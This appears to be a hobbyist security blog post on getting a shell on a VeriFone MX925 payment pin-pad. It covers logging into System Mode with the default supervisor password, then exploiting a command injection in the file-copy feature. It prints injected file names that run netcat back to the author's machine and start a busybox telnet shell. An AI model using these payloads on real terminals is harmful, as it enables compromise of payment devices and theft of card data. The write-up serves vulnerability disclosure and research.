Getting a shell on a VeriFone MX925 Pin-Pad

Every once in a while, I have been known to impulsively buy things off eBay, from Elevator Keys, to Voting Machines, I’ve got it all. Now just imagine the look on my friends faces when I showed up to dinner with this, a VeriFone MX925 Pin-Pad. Now that you’re imagining that, picture the look on their face when I popped a shell at the end of the dinner.

So how do you pop a shell on a device which only exists out of a need for security? Simple. You don’t. Once this thing’s been fully patched and secured, there’s virtually no way in. However… these things are almost never patched or secured in any way. Updating the MX925’s is actually a pain in the ass, so it’s understandable why a large majority of them are still running the original firmware from the factory. However, even without updating, these things can be almost impenetrable. Everything I showcase in this post and later posts can be mitigated just by changing the default password. Also, quick note on what I’m about to show you. This is all done on my personal pin-pad, results may vary on different patch levels. Every exploit I describe has been patched by VeriFone, and is nothing new. However, since almost nobody actually patches these things, there are still a very high amount of devices vulnerable.

So, here’s a bit of background on the VeriFone MX925. As you can see from the image above, it’s running Linux. More specifically, its running kernel version Also, it has many different privilege levels depending on what you should be doing. For example, you can’t read from the card reader if you don’t have the privileges.

Now, onto the fun stuff. On every MX925, there is an administration mode. You can change configs, passwords, manage files, etc. How does one access the “System Mode?” Simple. Just Google it.

You can either, very suspiciously, unbolt the terminal from the POS system, flip it over, and jam a paperclip into a button on the back. Or, just press three buttons on the front at the same time.. how secure. Well, actually, it is pretty secure, cause the next step is entering the supervisor password.

Time to bring out our USB Rubber Ducky’s (yes this thing has an optional USB port) and get to brute forcing this password. Well… let’s just take one more look at the manual..

Surely the company who owned this terminal before me (Toys R Us) must’ve chan- whoop’s we’re in. Surely this must just be luck, right? Well, every single pin-pad I’ve seen since then, I’ve given the good ol’ 159 salute, and entered in the default password, and gotten logged in with no problem. This is a HUGE problem. Anyways, now we’re in.. what now? Well, we can do all sorts of stuff. We can connect it to WiFi, change the admin password, manage all sorts of config options for the POS app, all sorts of stuff.

System Mode on a VeriFone MX925. Taken at a very popular home improvement store.

Well first things first, I said earlier that there was a file manager, so, what can we see? Well.. pretty much everything on the root filesystem. Oh and we can copy files to an SD card or USB drive! We cannot however, modify the mx925’s filesystem as the underprivileged user we are. Poking around the filesystem, we see that busybox is installed. What’s so special about busybox? Busybox pretty much gives us a full, embedded, system complete with some very useful binaries (a shell, telnet server, wget, curl, netcat), it’s pretty much GNU for embedded devices. So what else can we see? Well, since we can see everything on the root fs, let’s just take a quick peek in /proc/self and maybe learn a thing or two about the System Mode application. So, I copy off /proc/self/cmdline to try and discover any arguments passed to the System Mode application, and instead, I find that the copy feature is instead forked off to the cp binary with a command very similar to:

$ cp /proc/self/cmdline /mnt/SD/

Alright, so maybe a possible command injection attack here, but surely VeriFone would’ve sanitized this, right? I created a file on the SD card called “;nc 4444;#.txt” (where that IP is my desktop running netcat listening on port 4444) then tried to copy it, resulting in the following command being ran:

cp /mnt/SD/;nc 4444;#.txt /mnt/SD

And whaddya know? I got an incoming connection on my PC. So what next? How do we run more complex commands? As you may know, you’re prohibited from naming a file with various special characters in it (mainly /), so how do we run more complex commands? Simple. Use the FS against itself. If we create a directory called ‘argon’ it gets interpreted as ‘argon/’ so with a lot of patience, and the magical IFS variable, I transformed “/bin/busybox telnetd -l/bin/sh” into:

cp /mnt/SD/test;$IFS/bin/busybox telnetd -l/bin/sh -p1337;#/mnt/SD

And when we try and telnet into it, we get a shell! Success!

As we can see, we’re running as the sys4 user, which has no write access to the main FS, and pretty much no access to the hardware. If we want access to the fun stuff, we’d need to exploit other processes running at a higher privilege level.